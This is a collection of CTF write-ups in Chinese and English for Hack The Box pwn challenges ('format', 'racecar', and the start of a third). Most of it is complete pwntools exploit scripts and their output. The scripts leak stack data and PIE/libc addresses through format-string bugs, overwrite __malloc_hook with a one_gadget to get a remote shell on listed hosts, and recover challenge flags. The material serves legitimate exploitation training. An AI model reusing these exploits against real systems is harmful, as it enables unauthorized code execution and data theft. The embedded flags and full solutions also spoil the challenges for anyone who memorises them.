printf函数原型是int printf(char const* format，…)，其中的'…'符号描述了一个可变参数。在像C这样的本地语言中，带有可变参数的被调用者不知道有多少参数被赋给了它的参数包。在这个例子中，printf使用format参数来指示需要多少个堆栈参数。用户可能为参数包提供了足够的参数，也可能没有提供足够的参数，但是函数仍然会从堆栈顶部输出给定数量的对象。使用' offset$ '表示法, 可以重用以前在格式字符串中使用的参数，而不需要参数。

例如，可能有一个字符串，其中一个特定变量要打印两次。现在，可以将参数赋值给参数包两次，或者直接在打印的变量的最后一个实例上使用' offset$ '表示法。下面的例子演示了这两种方法。

``` bash
printf("%s %s", string, string);
printf("%s %1$s", string);
```

使用这种技术，可以迭代堆栈的内容。注意，每个偏移量对应一个按二进制位对齐的堆栈元素，即32位为4字节，64位为8字节。

 - stack.py

``` bash
from pwn import *
s = process('./format')
for i in range(1, 100):
    s.sendline('%{}$p '.format(i).ljust(0x100, 'a'))
    print "{:2}: {}".format(i, s.recvline().split(' ')[0])
s.close()
```

上面显示了一个用于迭代堆栈的简单python脚本。

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# python stack.py
[+] Starting local process './format': pid 4567
 1: 0x7f6b05dcaa03
 2: (nil)
 3: 0x7f6b05cfae2e
 4: 0x7ffcdede77a0
 5: (nil)
 6: 0x6161612070243625
 7: 0x6161616161616161
 8: 0x6161616161616161
 9: 0x6161616161616161
10: 0x6161616161616161
11: 0x6161616161616161
12: 0x6161616161616161
13: 0x6161616161616161
14: 0x6161616161616161
15: 0x6161616161616161
16: 0x6161616161616161
17: 0x6161616161616161
18: 0x6161616161616161
19: 0x6161616161616161
20: 0x6161616161616161
21: 0x6161616161616161
22: 0x6161616161616161
23: 0x6161616161616161
24: 0x6161616161616161
25: 0x6161616161616161
26: 0x6161616161616161
27: 0x6161616161616161
28: 0x6161616161616161
29: 0x6161616161616161
30: 0x6161616161616161
31: 0x6161616161616161
32: 0x6161616161616161
33: 0x6161616161616161
34: 0x6161616161616161
35: 0x6161616161616161
36: 0x6161616161616161
37: 0x61616161616161
38: (nil)
39: 0x2a0cd2c9e1808e00
40: 0x7ffcdede78d0
41: 0x55ff366b72b3
42: 0x7ffcdede79c0
43: 0x2a0cd2c9e1808e00
44: 0x55ff366b72d0
45: 0x7f6b05c32d0a
46: 0x7ffcdede79c8
47: 0x100000000
48: 0x55ff366b7284
49: 0x7f6b05c327cf
50: (nil)
51: 0x5bef4ce629faf90f
52: 0x55ff366b70c0
53: (nil)
54: (nil)
55: (nil)
56: 0xfe89d8c3d9af90f
57: 0xec72bb695dcf90f
58: (nil)
59: (nil)
60: (nil)
61: 0x1
62: 0x7ffcdede79c8
63: 0x7ffcdede79d8
64: 0x7f6b05e22180
65: (nil)
66: (nil)
67: 0x55ff366b70c0
68: 0x7ffcdede79c0
69: (nil)
70: (nil)
71: 0x55ff366b70ee
72: 0x7ffcdede79b8
73: 0x1c
74: 0x1
75: 0x7ffcdede8467
76: (nil)
77: 0x7ffcdede8470
78: 0x7ffcdede8488
79: 0x7ffcdede84b8
80: 0x7ffcdede84fb
81: 0x7ffcdede8514
82: 0x7ffcdede8529
83: 0x7ffcdede8536
84: 0x7ffcdede8545
85: 0x7ffcdede85a3
86: 0x7ffcdede85ae
87: 0x7ffcdede85b9
88: 0x7ffcdede85c6
89: 0x7ffcdede85d9
90: 0x7ffcdede85fe
91: 0x7ffcdede8612
92: 0x7ffcdede8622
93: 0x7ffcdede865c
94: 0x7ffcdede8679
95: 0x7ffcdede8683
96: 0x7ffcdede86d1
97: 0x7ffcdede86d9
98: 0x7ffcdede86ea
99: 0x7ffcdede86ff
[*] Stopped process './format' (pid 4567)
```

正如上图所示，能够从堆栈中枚举元素。更有趣的是，自己的字符串格式输入似乎出现在堆栈上的偏移量6。

``` bash
35: 0x6161616161616161
36: 0x6161616161616161
37: 0x61616161616161
38: (nil)
39: 0x2a0cd2c9e1808e00
40: 0x7ffcdede78d0
41: 0x55ff366b72b3
42: 0x7ffcdede79c0
43: 0x2a0cd2c9e1808e00
44: 0x55ff366b72d0
45: 0x7f6b05c32d0a
```

再往下看堆栈，注意到字符串格式的输入以偏移量37-38结束。然而，接下来，注意到偏移量41处的echo返回地址。这可能表明，尽管启用了PIE，仍然能够泄漏二进制文件的基址。得先核实一下。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format13.jpg)

从上图中可以看出，echo ends调用的返回地址位于偏移量0x12b3，这与堆栈上发现的泄漏相对应。因此，可以假定栈上的元素是返回地址，因此可以通过从泄漏的地址减去0x12b3来计算二进制数据的基址。可以按照如下所示编写脚本。

``` bash
s.sendline('%41$p ')
base_ret = int(s.recv(1024).split(' ')[0], 16)
base = base_ret - 0x12b3
```

现在有了二进制文件的基址，可以尝试进一步从libc泄漏一个地址，这样就可以找到libc的基址。首先在got小节中获取printf导入的偏移量。

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# objdump -R format | grep printf
0000000000003fc0 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5
```

现在有了偏移量，可以使用' %s '格式说明符对堆栈执行更深入的读取。' %p '指示符只输出存储在堆栈中给定偏移量处的值，与之相反，' %s '指示符将存储在堆栈中给定偏移量处的值作为指向字符串的指针，并输出字符串的内容。

由于可以通过从偏移量6开始的字符串格式输入来控制一些堆栈元素，因此可以使用该格式指定要从偏移量7检索字符串数据，然后指定偏移量7的目标地址。可以按照如下所示编写脚本。

``` bash
gots_printf = base + 0x3fc0
s.sendline('%7$s'.ljust(8, '\x00') + p64(gots_printf))
glibc_printf = u64(s.recv(1024).ljust(8, '\x00'))
print "GLIBC(printf) leak: {}".format(hex(glibc_printf))
```

现在，运行泄漏脚本，并验证能够泄漏来自libc共享库的地址。

 - leak.py

``` bash
from pwn import *

context.arch = "amd64"
s = remote('178.128.40.217', 32755) # 31019)
s.sendline('%41$p ')

base_ret = int(s.recv(1024).split(' ')[0], 16)
base = base_ret - 0x12b3
gots_printf = base + 0x3fc0

s.sendline('%7$s'.ljust(8, '\x00') + p64(gots_printf))

glibc_printf = u64(s.recv(1024).ljust(8, '\x00'))
print "GLIBC(printf) leak: {}".format(hex(glibc_printf))

s.close()
```

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# python leak.py
[+] Opening connection to 178.128.40.217 on port 32755: Done
GLIBC(printf) leak: 0x7f436277be80
[*] Closed connection to 178.128.40.217 port 32755
```

如上图所示，成功地在libc共享库中获取了printf函数的地址。由于ASLR在页面长度为0x1000字节的页面对齐基础上随机化libc共享库的位置，所以可以确保地址的最后3个字节永远不会随机化。因此，可以使用最后三部分来确定远程服务器正在使用的libc版本。

 - [libc database search](https://libc.blukat.me/)

使用在线libc数据库搜索工具来定位一个libc库，其中的printf函数以0xe80结束。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format14.jpg)

如上图所示，有多个候选对象。一个有根据的猜测把我们带到了选择的版本。现在可以在数据库中查找所有的符号，也可以在Ubuntu存储库中找到文件并下载它。在本例中，选择查找libc版本并下载它。由于不能保证外部链接的生命周期，所以将下面的文件作为直接下载链接。

 - [libc6_2.27-3ubuntu1_amd64.deb](https://stackhound.me/wp-content/uploads/2020/09/b03ba0c98d0f0bc9.7z)

现在可以使用7-zip这样的解压缩工具来打开这个包。

在debian包中，找到libc共享库并将其转储到磁盘。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format15.jpg)

现在可以访问远程进程中的libc共享库，需要考虑攻击策略。因为程序有完整的RELRO，所以不能覆盖get部分的fgets或printf指针，这是唯一可以直接控制的函数。然而，可以覆盖libc共享库中的内容，比如__malloc_hook。malloc钩子是一个函数指针，当它非空时，每次使用malloc分配内存时都会调用它。然而，没有任何方式传递参数给重写的malloc钩子，不能使系统直接生成一个'/bin/sh'进程。相反，可以使用one-gadget，这是libc中的一个gadget，它生成'/bin/sh'，而不需要向它传递任何参数。

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# objdump -T ./libc-2.27.so | grep malloc_hook
00000000003ebc30  w   DO .data  0000000000000008  GLIBC_2.2.5 __malloc_hook
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# one_gadget ./libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
```

如上所示，可以确定所需的偏移量。可以按照如下所示编写脚本。

``` bash
glibc_base = glibc_printf - 0x64e80
glibc_malloc_hook = glibc_base + 0x3ebc30
glibc_one_gadget = glibc_base + 0x4f322
```

现在已经有了所需的所有组件，可以继续进行攻击了。就像使用' %p '和' %s '从堆栈中读取变量一样，也可以使用' %n '对它们进行写入。' %n '说明符将把字符串中先于它的字节数写到堆栈上传递的目标参数中。例如，printf(' 1234%n '， &destination)将把4写入destination。可以使用printf(' %XXc%Y$n ')每次覆盖一个字节，其中XX表示字节的数值，Y表示堆栈上的目标偏移量。使用pwntools的延迟版本如下所示。

``` bash
s.sendline(fmtstr_payload(6, { glibc_malloc_hook: glibc_one_gadget }))
s.recv(1024)
```

现在已经覆盖了malloc钩子，需要做的就是使用malloc强制分配。一种方法是让格式字符串说明符生成一个太大而不能临时存储在堆栈上的字符串，从而迫使printf函数使用malloc进行临时分配。这可以如下所示完成。

``` bash
s.sendline('%100000c')
```

最终exp脚本

 - getshell.py

``` bash
from pwn import *

context.arch = "amd64"

s = remote('178.128.40.217', 32755) # 31019)
s.sendline('%41$p bbbb')

base_ret = int(s.recvuntil('bbbb\n').split(' ')[0], 16)
base = base_ret - 0x12b3
gots_printf = base + 0x3fc0

s.sendline('%7$s'.ljust(8, '\x00') + p64(gots_printf))

glibc_printf = u64(s.recv(1024).ljust(8, '\x00'))
print "GLIBC(printf) leak: {}".format(hex(glibc_printf))
glibc_base = glibc_printf - 0x64e80
glibc_malloc_hook = glibc_base + 0x3ebc30
glibc_one_gadget = glibc_base + 0x4f322

s.sendline(fmtstr_payload(6, { glibc_malloc_hook: glibc_one_gadget }))
s.recv(1024)
s.sendline('%100000c')
s.interactive()
s.close()
```

利用效果。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format16.jpg)

#### 详细过程及exp - 2
#### 1. Basic checks:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# file format
format: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5d38e04d29b4aae722164869f3151cea776ce91c, for GNU/Linux 3.2.0, not stripped
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# checksec format
[*] '/root/hackthebox/challenge/pwn/format/format'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

#### 2. Run binary with format string as input and spot the vulnerability:

 - [Format string attack](https://owasp.org/www-community/attacks/Format_string_attack)

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# ./format
%p%p%p
0x7f167f86da03(nil)0x7f167f79de8e
```

#### 3. Disassemble binary with your favorite disassembler:

Vulnerable is printf() which should look like: printf("%s\n", argv[1]);

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format17.jpg)

#### 4. General overview of what is being leaked:

(1) 6th pointer — beginning of the printf() output

(2) 30th pointer — three free bytes which you need to keep in mind when you leak data using the printf() function (due to stack alignment) additionally, the direct parameter access to this pointer will change depending on the amount of data passed to the printf() function

(3) 37th pointer — init+117address needed for calculating libc base

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format18.jpg)

#### 5. Run binary in GDB — defeating PIE:

set a breakpoint at the printf() in echo()

check the init+117 PIE offset (before execution in GBD)

using [direct parameter access](https://kevinalmansa.github.io/application%20security/Format-Strings/) input format string %37$p to leak init+117address

calculate the base ELF address after a leak to bypass the PIE security

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format19.jpg)

You can verify the base address of ELF file using vmmap or info proc map

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format20.jpg)

The first phase of exploit written in python2 based on pwntools containing everything so far.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format21.jpg)

#### 6. Leak the __printf address from libc through printf():

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format22.jpg)

Use %s instead of %p
(access value printed by printf() instead of a [pointer to the string](https://dyclassroom.com/c/c-pointers-and-strings))

Remember about stack alignment

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format23.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format24.jpg)

#### 7. Check the libc version on the remote system

Use [https://libc.blukat.me/](https://libc.blukat.me/) with the leaked address of __printf to check the libc version being used on the remote system.

Check possible libc architecture, there is clearly only one option which is libc6_2.27–3ubuntu1_amd64 because it is the only one 64-bit libc.

Download above libc and place it in the directory with exploit.py

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format25.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format26.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format27.jpg)

#### 8. Taking control of execution flow:

The program has FULL RELRO, so there is no option of rewriting the fgets() or printf() address, but the content of libc shared libraries is writeable. Use this advantage to overwrite __malloc_hook function pointer.

The vulnerable function in this scenario is malloc() which is called, when the string sent to printf() is too big, __malloc_hook is called whenever malloc() is used.

``` bash
# check __malloc_hook in leaked libc
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# objdump -T libc-2.27.so | grep __malloc_hook
00000000003ebc30  w   DO .data  0000000000000008  GLIBC_2.2.5 __malloc_hook
```

You can trigger malloc() by calling printf(“%10000$c”) — this allocates too many bytes for the stack, forcing libc to allocate the space on the heap instead.

You can overwrite the __malloc_hook using direct parameter write %6$n

It is not possible to specify the parameters of the overridden __malloc_hook . The way out of this situation will be to use a [gadget](https://dzone.com/articles/a-ctf-example-shows-you-the-easy-and-powerful-one) called [one_gadget](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) which in fact is a execve("/bin/sh") command that is present in libc

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# one_gadget libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
```

#### 8. Calculating necessary addresses:

Calculate base address of libc, by subtracting the 0x64e80 from the leaked printf()

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# objdump -T libc-2.27.so | grep " printf$"
0000000000064e80 g    DF .text  00000000000000c3  GLIBC_2.2.5 printf
```

Calculate __malloc_hook and one_gadget based on the computed libc and static addresses from leaked libc.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format28.jpg)

Use [pwnlib.fmtstr](https://docs.pwntools.com/en/stable/fmtstr.html#module-pwnlib.fmtstr) — [format string](https://docs.pwntools.com/en/stable/fmtstr.html) bug exploitation tools to easily calculate and override __malloc_hook with one gadget and trigger it!

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format29.jpg)

Add context.arch = "amd64" at the top of the script to choose the system architecture of the targeted binary. Otherwise, an error will pop up.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format30.jpg)

#### 9. Final exploit:

``` python
from pwn import *

context.arch = "amd64"
context.log_level = 'debug'
elf = ELF("format")
#libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
libc = ELF("libc-2.27.so") # <-- Loading leaked libc
#p = process("./format")
p = remote("188.166.173.208",31941)
#gdb.attach(p,'''b*__malloc_hook''')

# ELF base address - leaking && calculating ---
p.sendline("%37$p")
init_leak = (p.recvline())
log.success("LEAK => (init+117) address: " + init_leak)
base_elf = int(init_leak,16) - 0x126d
log.info("Base ELF address: " + hex(base_elf))
elf.address = base_elf # updating ELF

# Leaking __printf address through printf() ---
printf_got_plt = elf.got["printf"]
log.info("printf@got.plt address: " + hex(printf_got_plt))
p.sendline("AAAA%7$s" + p64(printf_got_plt))
printf_leak = p.recv()
printf_libc = u64(printf_leak[4:10].ljust(8,"\x00"))
log.success("Leaked __printf: " + hex(printf_libc))

# Calculating base libc, __malloc_hook and one_gadget ---
base_libc = printf_libc - 0x64e80
malloc_hook_addr = base_libc + 0x3ebc30
one_gadget = base_libc + 0x4f322

# Taking control of exeuction flow - overriding __malloc_hook with one_gadget ---
p.sendline(fmtstr_payload(6, { malloc_hook_addr: one_gadget }))
p.recv()
p.sendline('%100000c') # __malloc_hook trigger
p.interactive()
p.close()
```

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# python pwnexp.py
[*] '/root/hackthebox/challenge/pwn/format/format'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/root/hackthebox/challenge/pwn/format/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 188.166.173.208 on port 31941: Done
[DEBUG] Sent 0x6 bytes:
    '%37$p\n'
[DEBUG] Received 0xf bytes:
    '0x55ad927bd26d\n'
[+] LEAK => (init+117) address: 0x55ad927bd26d
[*] Base ELF address: 0x55ad927bc000
[*] printf@got.plt address: 0x55ad927bffc0
[DEBUG] Sent 0x11 bytes:
    00000000  41 41 41 41  25 37 24 73  c0 ff 7b 92  ad 55 00 00  │AAAA│%7$s│··{·│·U··│
    00000010  0a                                                  │·│
    00000011
[DEBUG] Received 0x10 bytes:
    00000000  41 41 41 41  80 4e 3f 41  5f 7f c0 ff  7b 92 ad 55  │AAAA│·N?A│_···│{··U│
    00000010
[+] Leaked __printf: 0x7f5f413f4e80
[DEBUG] Sent 0x79 bytes:
    00000000  25 33 34 63  25 31 35 24  6c 6c 6e 25  32 37 63 25  │%34c│%15$│lln%│27c%│
    00000010  31 36 24 68  68 6e 25 34  63 25 31 37  24 68 68 6e  │16$h│hn%4│c%17│$hhn│
    00000020  25 33 30 63  25 31 38 24  68 68 6e 25  33 32 63 25  │%30c│%18$│hhn%│32c%│
    00000030  31 39 24 68  68 6e 25 31  31 36 63 25  32 30 24 68  │19$h│hn%1│16c%│20$h│
    00000040  68 6e 61 61  61 61 62 61  30 bc 77 41  5f 7f 00 00  │hnaa│aaba│0·wA│_···│
    00000050  32 bc 77 41  5f 7f 00 00  33 bc 77 41  5f 7f 00 00  │2·wA│_···│3·wA│_···│
    00000060  34 bc 77 41  5f 7f 00 00  35 bc 77 41  5f 7f 00 00  │4·wA│_···│5·wA│_···│
    00000070  31 bc 77 41  5f 7f 00 00  0a                        │1·wA│_···│·│
    00000079
[DEBUG] Received 0xff bytes:
    00000000  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000020  20 b0 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │ ·  │    │    │    │
    00000030  20 20 20 20  20 20 20 20  20 20 20 20  d0 20 20 20  │    │    │    │·   │
    00000040  81 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │·   │    │    │    │
    00000050  20 20 20 20  20 20 20 20  20 20 20 20  20 20 c0 20  │    │    │    │  · │
    00000060  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    00000070  20 20 20 20  20 20 20 20  20 20 20 20  20 20 c0 20  │    │    │    │  · │
    00000080  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    000000f0  20 20 25 61  61 61 61 62  61 30 bc 77  41 5f 7f     │  %a│aaab│a0·w│A_·│
    000000ff
[DEBUG] Sent 0x9 bytes:
    '%100000c\n'
[*] Switching to interactive mode
$ id
[DEBUG] Sent 0x3 bytes:
    'id\n'
[DEBUG] Received 0x2a bytes:
    'uid=999(ctf) gid=999(ctf) groups=999(ctf)\n'
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x4 bytes:
    'ctf\n'
ctf
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x21 bytes:
    'flag.txt\n'
    'format\n'
    'run_challenge.sh\n'
flag.txt
format
run_challenge.sh
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    'cat flag.txt\n'
[DEBUG] Received 0x1e bytes:
    'HTB{mall0c_h00k_f0r_th3_w1n!}\n'
HTB{mall0c_h00k_f0r_th3_w1n!}
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format31.jpg)

<!-- kb:end format -->

</details>

<a id="case-racecar"></a>

## 栈数据与小端重组

格式化字符串读取指针后，需要按目标字长和小端顺序重组文件内容。原文保留调试偏移和完整远程脚本。

<p class="kb-provenance">来源 racecar · 原记录 2021-09-01 · 6 个代码块 · 7 处图片引用</p>

<details class="kb-evidence" id="record-racecar">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start racecar -->

#### 详细过程及exp
#### 1. Basic checks:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/racecar]
└─# file racecar 
racecar: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=35ad6e9ae5099d45b4bdcce9da94305bb9dbeb87, not stripped
┌──(root💀kali)-[~/hackthebox/challenge/pwn/racecar]
└─# checksec racecar
[*] '/root/hackthebox/challenge/pwn/racecar/racecar'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```



#### 2. Spot the vulnerability — format string:

Format string vulnerability lies in the printf() after "winning the race".

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/racecar.jpg)

 - Create flag.txt in the directory with the binary (echo AAAA > flag.txt )

 - Run the racecar and set up correct variables to get to the end of the race.

``` bash
from pwn import *

p = process("./racecar")

def go_to_end():
    p.sendline("Name")
    p.recv()
    p.sendline("Nickname")
    p.recv()
    p.sendline("2")
    p.recv()
    p.sendline("1")
    p.recv()
    p.sendline("2")
    p.recv()

go_to_end()
p.sendline("%p")
```

 - Input %p to leak pointer address.

#### 3. General overview of what is being leaked:

 - Run the binary in GDB and set a breakpoint at the vulnerable printf() .

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/racecar1.jpg)

 - Input 40x %p to leak more data.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/racecar2.jpg)

At the 12th position, there is a beginning of flag.txt — “AAAA” string which was input before.
It seems like the flag is stored on the stack.

#### Leak the flag from the remote service:

Use [direct parameter access input format string](https://kevinalmansa.github.io/application%20security/Format-Strings/) %12$x to leak flag.txt from a remote system.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/racecar3.jpg)

Check if this is the beginnings of the flag.txt

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/racecar4.jpg)

#### 5. Reverse the flag:

Leak more data, then reverse bytes starting from 0x7b ({ ) to 0x7d (} ).

``` bash
p.sendline(“%x%x%x%x%x%x%x%x%x%x%x — -FLAG: %p%p%p%p%p%p%p%p%p%p%p — -”)
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/racecar5.jpg)

Pack leaked data as a byte string (little-endian 4B size).

 - de.py

``` python
from pwn import *

flag = "0x7b4254480x5f7968770x5f6431640x34735f310x745f33760x665f33680x5f67346c0x745f6e300x355f33680x6b6334740x7d213f"
decoded_flag = []

for element in flag.split("0x")[1:]:
	decoded_flag.append(p32(int("0x" + element,16)))

print ''.join(decoded_flag)
```

#### 6. Final exploit:

``` python
from pwn import *
import time

p = remote("46.101.23.188",31954)
#p = process("./racecar")
context.log_level = "debug"

def go_to_end():
    p.sendline("Name")
    p.recv()
    p.sendline("Nickname")
    p.recv()
    p.sendline("2")
    p.recv()
    p.sendline("1")
    p.recv()
    p.sendline("2")
    p.recv()

go_to_end()
p.sendline("%x%x%x%x%x%x%x%x%x%x%x---FLAG: %p%p%p%p%p%p%p%p%p%p%p ---")
print(p.recv())

p.interactive()
```

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/racecar]
└─# python de.py                                                                                                              
HTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}\x00
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/racecar6.jpg)

#### 摘自(致敬原作)......

 - 浏览medium.com博客每月有次数限制，并且5$收费，故摘录文章。。。
 - [PWN Racecar challenge - HTB](https://karol-mazurek95.medium.com/pwn-racecar-challenge-htb-80aad2b930be)
<!-- kb:end racecar -->

</details>

<a id="case-what-dose-the-f-say"></a>

## PIE、Canary 与 libc 的分层泄漏

格式化读取与缓冲区溢出组合使用，分别恢复模块基址、canary 与 libc。原脚本保留每次连接的地址计算和保护绕过。

<p class="kb-provenance">来源 what-dose-the-f-say · 原记录 2021-09-09 · 6 个代码块 · 24 处图片引用</p>

<details class="kb-evidence" id="record-what-dose-the-f-say">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start what-dose-the-f-say -->

#### 详细过程及exp
#### 1. Basic checks:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/What_does_the_f_say_]
└─# file what_does_the_f_say 
what_does_the_f_say: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dd622e290e6b1ac53e66369b85805ccd8a593fd0, for GNU/Linux 3.2.0, not stripped
┌──(root💀kali)-[~/hackthebox/challenge/pwn/What_does_the_f_say_]
└─# checksec what_does_the_f_say
[*] '/root/hackthebox/challenge/pwn/What_does_the_f_say_/what_does_the_f_say'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```



#### 2. General overview:

There are two options to choose from at the beginning.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say.jpg)

Users can choose between drinks and food, then other options pop up, because of either drinks_menu() or food_menu() .

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say1.jpg)

If the user selects drinks_menu() three additional options will appear, in one of them (2) there is a possibility to choose between red or green Kryptonite and the string is being reflected by the program.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say2.jpg)

#### 3. Spot the first vulnerability — Format string:

The vulnerability lies in the printf() when you chose Kryptonite vodka.
(printf() should look like: printf("%s\n", argv[1]); )

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say3.jpg)

Set a breakpoint @ drinks_menu+239 in gdb.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say4.jpg)

Run the binary and input format string (1) while choosing the type of Kryptonite, then go to the next instruction (2) and observe the leaked address (3).

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say5.jpg)

Leaked address (3) 0x555555555860 is a __libc_csu_init and could be used to calculate the base address of binary, thus defeat the PIE security, but on the remote binary, this address was patched with 0x2f2f2f2f2f2f2f2 to prevent the [return_to_csu](https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf) attack scenario.

Since there is no possibility to leak more data at once than 9 pointers, use direct formatting and some automation to leak the first 40 addresses from the stack.

 - leak.py

``` python
import sys
from pwn import *

context.log_level = 'error'
for i in range(int(sys.argv[2]), int(sys.argv[3])):
    p = process(sys.argv[1])
    p.sendline("1")
    p.recv()
    p.sendline("2")
    p.recv()
    p.sendline('%{}$p '.format(i))
    print "{:2}: {}".format(i, p.recvline().split(' ')[0])
    p.close()
```

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/What_does_the_f_say_]
└─# python leak.py what_does_the_f_say 1 40
 1: 0x7fff80ebad80
 2: 0x1d
 3: 0x7fb68b114e8e
 4: 0x1a
 5: (nil)
 6: (nil)
 7: 0x240c685d0
 8: 0xa2070243825
 9: (nil)
10: (nil)
11: (nil)
12: (nil)
13: 0x194d94d52dd1400
14: 0x7ffc41521210
15: 0x55cd3406874a
16: 0x1c5d50897
17: 0xd1f170bf78a46400
18: 0x7fff118dd9b0
19: 0x55613336e841
20: 0x7ffd88b315e8
21: 0x110d660d0
22: 0x7ffe86135770
23: 0xb4fe640441ff800
24: 0x563b73e11860
25: 0x7fdcf0c10d0a
26: 0x7ffe2e130348
27: 0x100000000
28: 0x55b56001180a
29: 0x7f1d5af007cf
30: (nil)
31: 0x958cb4560afd0ffb
32: 0x55b415ad30d0
33: (nil)
34: (nil)
35: (nil)
36: 0xd33063c0fab1e44d
37: 0x7f81b4ce8f1e2551
38: (nil)
